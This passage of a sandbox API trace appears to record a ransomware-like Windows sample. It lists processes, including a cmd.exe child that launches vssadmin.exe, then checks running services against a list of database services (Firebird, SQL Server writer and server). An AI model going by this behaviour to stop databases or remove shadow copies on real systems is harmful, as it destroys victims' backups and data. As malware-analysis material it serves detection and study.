lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0056.464] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0056.464] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0056.465] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0056.465] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0056.465] lstrlenW (lpString="come_wave.exe") returned 13 [0056.466] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.466] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.466] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0056.466] lstrlenW (lpString="uyuquk.exe") returned 10 [0056.467] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.467] lstrlenW (lpString="cmd.exe") returned 7 [0056.467] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.468] lstrlenW (lpString="conhost.exe") returned 11 [0056.468] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.468] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.468] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.469] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.469] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.469] lstrlenW (lpString="svchost.exe") returned 11 [0056.469] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0056.470] lstrlenW (lpString="LogonUI.exe") returned 11 [0056.470] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0056.470] CloseHandle (hObject=0x22c) returned 1 [0056.470] Sleep (dwMilliseconds=0x1f4) [0057.200] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x605b48 [0057.200] EnumServicesStatusExW (in: hSCManager=0x605b48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0057.200] GetLastError () returned 0xea [0057.200] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0057.200] EnumServicesStatusExW (in: hSCManager=0x605b48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0057.201] CloseServiceHandle (hSCObject=0x605b48) returned 1 [0057.201] lstrlenW (lpString="Appinfo") returned 7 [0057.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.201] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.201] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0057.201] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0057.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0057.201] lstrlenW (lpString="AudioSrv") returned 8 [0057.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0057.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0057.201] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0057.201] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0057.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0057.201] lstrlenW (lpString="BFE") returned 3 [0057.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0057.202] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0057.202] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0057.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0057.202] lstrlenW (lpString="CryptSvc") returned 8 [0057.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0057.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.202] lstrlenW (lpString="CscService") returned 10 [0057.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.202] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.202] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.202] lstrlenW (lpString="DcomLaunch") returned 10 [0057.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.202] lstrlenW (lpString="Dhcp") returned 4 [0057.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.202] lstrlenW (lpString="Dnscache") returned 8 [0057.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.202] lstrlenW (lpString="DPS") returned 3 [0057.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.203] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.203] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.203] lstrlenW (lpString="eventlog") returned 8 [0057.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.203] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.203] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.203] lstrlenW (lpString="EventSystem") returned 11 [0057.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.203] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.203] lstrlenW (lpString="gpsvc") returned 5 [0057.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.203] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.203] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.203] lstrlenW (lpString="iphlpsvc") returned 8 [0057.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.203] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.203] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.203] lstrlenW (lpString="LanmanServer") returned 12 [0057.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.203] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.204] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.204] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.204] lstrlenW (lpString="lmhosts") returned 7 [0057.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.204] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.204] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.204] lstrlenW (lpString="MMCSS") returned 5 [0057.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.204] lstrlenW (lpString="MpsSvc") returned 6 [0057.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.204] lstrlenW (lpString="Netman") returned 6 [0057.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.204] lstrlenW (lpString="netprofm") returned 8 [0057.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.204] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.204] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.204] lstrlenW (lpString="NlaSvc") returned 6 [0057.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.205] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.205] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.205] lstrlenW (lpString="nsi") returned 3 [0057.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.205] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.205] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.205] lstrlenW (lpString="PcaSvc") returned 6 [0057.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.205] lstrlenW (lpString="PlugPlay") returned 8 [0057.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.205] lstrlenW (lpString="Power") returned 5 [0057.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.205] lstrlenW (lpString="ProfSvc") returned 7 [0057.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.205] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.206] lstrlenW (lpString="RpcSs") returned 5 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.206] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.206] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.206] lstrlenW (lpString="SamSs") returned 5 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.206] lstrlenW (lpString="Schedule") returned 8 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.206] lstrlenW (lpString="SENS") returned 4 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.206] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.206] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.206] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.206] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.206] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.206] lstrlenW (lpString="Spooler") returned 7 [0057.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.207] lstrlenW (lpString="swprv") returned 5 [0057.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0057.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0057.207] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0057.207] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0057.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0057.207] lstrlenW (lpString="SysMain") returned 7 [0057.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.207] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.207] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.207] lstrlenW (lpString="Themes") returned 6 [0057.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.207] lstrlenW (lpString="TrkWks") returned 6 [0057.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.207] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.207] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.207] lstrlenW (lpString="UxSms") returned 5 [0057.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.207] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.207] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.207] lstrlenW (lpString="VSS") returned 3 [0057.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.208] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.208] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.208] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.208] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.208] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.208] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.208] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.208] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.208] lstrlenW (lpString="Winmgmt") returned 7 [0057.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.208] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.208] lstrcmpiW (lpString1="sqlwriter", 